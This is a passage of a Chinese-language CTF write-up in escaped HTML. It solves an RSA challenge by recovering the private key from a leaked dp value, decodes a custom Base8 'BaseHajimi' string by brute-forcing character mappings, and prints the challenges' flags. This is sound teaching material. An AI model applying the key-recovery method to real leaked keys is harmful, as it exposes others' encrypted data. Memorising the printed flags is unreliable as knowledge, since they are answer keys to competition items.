&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;d &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; gmpy2.&lt;/span&gt;&lt;span&gt;invert&lt;/span&gt;&lt;span&gt;(e, phi)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;生成d&lt;sub&gt;p&lt;/sub&gt;参数&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;dp &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; d &lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt; (p &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将整个明文解释为大端序得到一个大整数m&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;m &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bytes_to_long&lt;/span&gt;&lt;span&gt;(flag.&lt;/span&gt;&lt;span&gt;encode&lt;/span&gt;&lt;span&gt;())&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;对m加密得到密文c = m&lt;sup&gt;d&lt;/sup&gt; mod n&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;c &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pow&lt;/span&gt;&lt;span&gt;(m, e, n)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;/blockquote&gt;&lt;p&gt;在RSA加密系统中，d&lt;sub&gt;p&lt;/sub&gt; =  d mod (p-1)，通过同余式代换，我们有&lt;strong&gt;e * d&lt;sub&gt;p&lt;/sub&gt; = 1 + k*(p-1)&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;而通过加密文件，我们已知：e、n、d&lt;sub&gt;p&lt;/sub&gt;、c.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;换言之，我们可以尝试枚举在[1, e-1]中所有的整数k来暴力搜索p，进而一步步得到完整的私钥d&lt;/strong&gt;。&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;解密过程&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;因为e × d&lt;sub&gt;p&lt;/sub&gt;  = 1 + k × (p-1)，所以可以枚举所有的k寻找可能的p&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;found &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;False&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; k &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, e):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;&lt;span&gt; (dp &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; e &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt; k &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;p &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (dp &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; e &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;//&lt;/span&gt;&lt;span&gt; k &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;&lt;span&gt; n &lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt; p &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;q &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; n &lt;/span&gt;&lt;span&gt;//&lt;/span&gt;&lt;span&gt; p&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;found &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;True&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;break&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;因为n = p * q，确定了p也就同时确定了q&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;带入p、q得到phi = (p - 1) * (q - 1)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;得到完整私钥d = e⁻¹ mod phi&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;解密得到明文m = c&lt;sup&gt;d&lt;/sup&gt; mod n&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; found:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;phi &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (p &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; (q &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;d &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; gmpy2.&lt;/span&gt;&lt;span&gt;invert&lt;/span&gt;&lt;span&gt;(e, phi)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;m &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pow&lt;/span&gt;&lt;span&gt;(c, d, n)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;flag &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;long_to_bytes&lt;/span&gt;&lt;span&gt;(m).&lt;/span&gt;&lt;span&gt;decode&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(flag)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;/blockquote&gt;&lt;p&gt;按照这个逻辑编写代码，运行之后就可以得到flag：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1020&quot; src=&quot;/_astro/image-20251124213750739.BUuYvm5k_Z1X641i.webp&quot; /&gt;&lt;figcaption&gt;dp泄露攻击RSA&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;flag{qeem8obeyi5lcqedkw8w}&lt;/strong&gt;&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;&lt;strong&gt;Misc&lt;/strong&gt;&lt;a href=&quot;#misc&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;&lt;strong&gt;[Easy] AAA 真·签到&lt;/strong&gt;&lt;a href=&quot;#easy-aaa-真签到&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;关注送flag啦！&lt;/p&gt;&lt;img src=&quot;./writeup-assets/image-20251124213912752.png&quot; alt=&quot;关注A&amp;amp;D网络攻防实验室公众号送flag&quot; /&gt;&lt;p&gt;&lt;strong&gt;flag{i_HavE-Re@D_Th3_RU1es_c@rEFUlLY_&amp;amp;_hOneSTY_is_Th3_BE5T-p0llcY}&lt;/strong&gt;&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;&lt;strong&gt;Challenge Info&lt;/strong&gt; &lt;strong&gt;-&lt;/strong&gt; &lt;strong&gt;[Easy] BaseHajimi&lt;/strong&gt;&lt;a href=&quot;#challenge-info---easy-basehajimi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://chat.deepseek.com/share/rzuz6rcgcva3r4rmmg&quot; target=&quot;_blank&quot;&gt;ds的聊天记录&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://chat.deepseek.com/share/vn4lpblndrac4yv41h&quot; target=&quot;_blank&quot;&gt;赛后整理&lt;/a&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;米豆哈哦哦豆哈豆米豆哦北南南基绿豆南基北豆哈哦米绿绿基哈基豆南绿豆哈绿哦哦南南豆豆米绿哈哈哈哦南绿北哦哈基南南哦绿北哦米绿豆绿北豆哈哦北豆南豆北绿米绿米豆哈南南绿米绿米基豆基哈米米基哈米豆南豆米豆绿哦绿豆米北米基哈哈基豆绿米豆哈哦绿哦南哈米绿绿绿北基豆南基米豆绿北豆基哈豆豆基绿绿基南北南&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;strong&gt;Luminoria 说他做了一种新的编码方式叫做 &lt;code&gt;BaseHajimi&lt;/code&gt;，你能够从上面提供的字符串中找到正确的解码方式并得到 flag 吗？&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Base编码和解码的关键在于使用的字符集。给定有N=2&lt;sup&gt;n&lt;/sup&gt;个字符的字符集，就可以进行Base N编码：&lt;/p&gt;&lt;blockquote&gt;&lt;ol&gt;
&lt;li&gt;将原始二进制数据以n个比特为单位分割（不足的比特补0，同时编码结果添加“=”标记）&lt;/li&gt;
&lt;li&gt;每个单位转换为一个新的N进制整数m（0 &amp;lt;= m &amp;lt; N）&lt;/li&gt;
&lt;li&gt;以m作为索引，按照字符集映射为字符，形成一个新的字符串&lt;/li&gt;
&lt;/ol&gt;&lt;/blockquote&gt;&lt;p&gt;同样的，给定字符集，就可以进行Base N解码：&lt;/p&gt;&lt;blockquote&gt;&lt;ol&gt;
&lt;li&gt;将字符串按照字符集逆映射回索引，形成一个索引串&lt;/li&gt;
&lt;li&gt;将索引串的每个索引重新转换为二进制数据，形成一个二进制比特串&lt;/li&gt;
&lt;li&gt;将这一组二进制数据8位一组分割，恢复每个字节的数据&lt;/li&gt;
&lt;/ol&gt;&lt;/blockquote&gt;&lt;p&gt;对于本题，可以看见所有出现的字符只有8种：‘哈’, ‘南’, ‘北’, ‘基’, ‘绿’, ‘豆’, ‘米’, ‘哦’。&lt;/p&gt;&lt;p&gt;可以猜测，题目所说的&lt;strong&gt;&lt;code&gt;BaseHajimi&lt;/code&gt;编码&lt;/strong&gt;应当是一种&lt;strong&gt;Base8编码&lt;/strong&gt;。那么，索引的范围应当是[0,7]。&lt;/p&gt;&lt;p&gt;尽管我们不知道字符集的具体索引，但因为字符集只有8个字符，所有字符集的可能性只有8! = 40320种，可以尝试暴力破解。&lt;/p&gt;&lt;p&gt;按照flag的格式，正确的字符集解码的数据应当以“flag{”开头，“}”结尾。&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; itertools&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 原始字符串&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;encoded_str &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;米豆哈哦哦豆哈豆米豆哦北南南基绿豆南基北豆哈哦米绿绿基哈基豆南绿豆哈绿哦哦南南豆豆米绿哈哈哈哦南绿北哦哈基南南哦绿北哦米绿豆绿北豆哈哦北豆南豆北绿米绿米豆哈南南绿米绿米基豆基哈米米基哈米豆南豆米豆绿哦绿豆米北米基哈哈基豆绿米豆哈哦绿哦南哈米绿绿绿北基豆南基米豆绿北豆基哈豆豆基绿绿基南北南&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 8 个唯一字符&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;chars &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;list&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;set&lt;/span&gt;&lt;span&gt;(encoded_str))&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;字符集:&quot;&lt;/span&gt;&lt;span&gt;, chars)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 字符集: [&apos;哈&apos;, &apos;南&apos;, &apos;北&apos;, &apos;基&apos;, &apos;绿&apos;, &apos;豆&apos;, &apos;米&apos;, &apos;哦&apos;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 我们将尝试所有可能的映射&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;from_chars &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&apos;哈&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;南&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;北&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;基&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;绿&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;豆&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;米&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;哦&apos;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 生成所有 0-7 的排列&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;perms &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;list&lt;/span&gt;&lt;span&gt;&lt;span&gt;(itertools.&lt;/span&gt;&lt;span&gt;permutations&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;)))&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# 将字符串分成 8 个字符一组&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;decode_with_mapping&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;mapping_dict&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;encoded&lt;/span&gt;&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;digits &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [mapping_dict[c] &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; c &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; encoded]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# 每 8 个八进制数字转 3 字节&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;bytes_list &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; []&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;(digits), &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;group &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; digits[i:i&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;&lt;span&gt;(group) &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;# 填充到 8 个&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;group &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;(group))&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;# 将 8 个八进制数字转成 24 位二进制&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;bin_str &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;&apos;&lt;/span&gt;&lt;span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;join&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;:03b&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; d &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; group)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;# 取前 24 位，分成 3 字节&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; j &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; 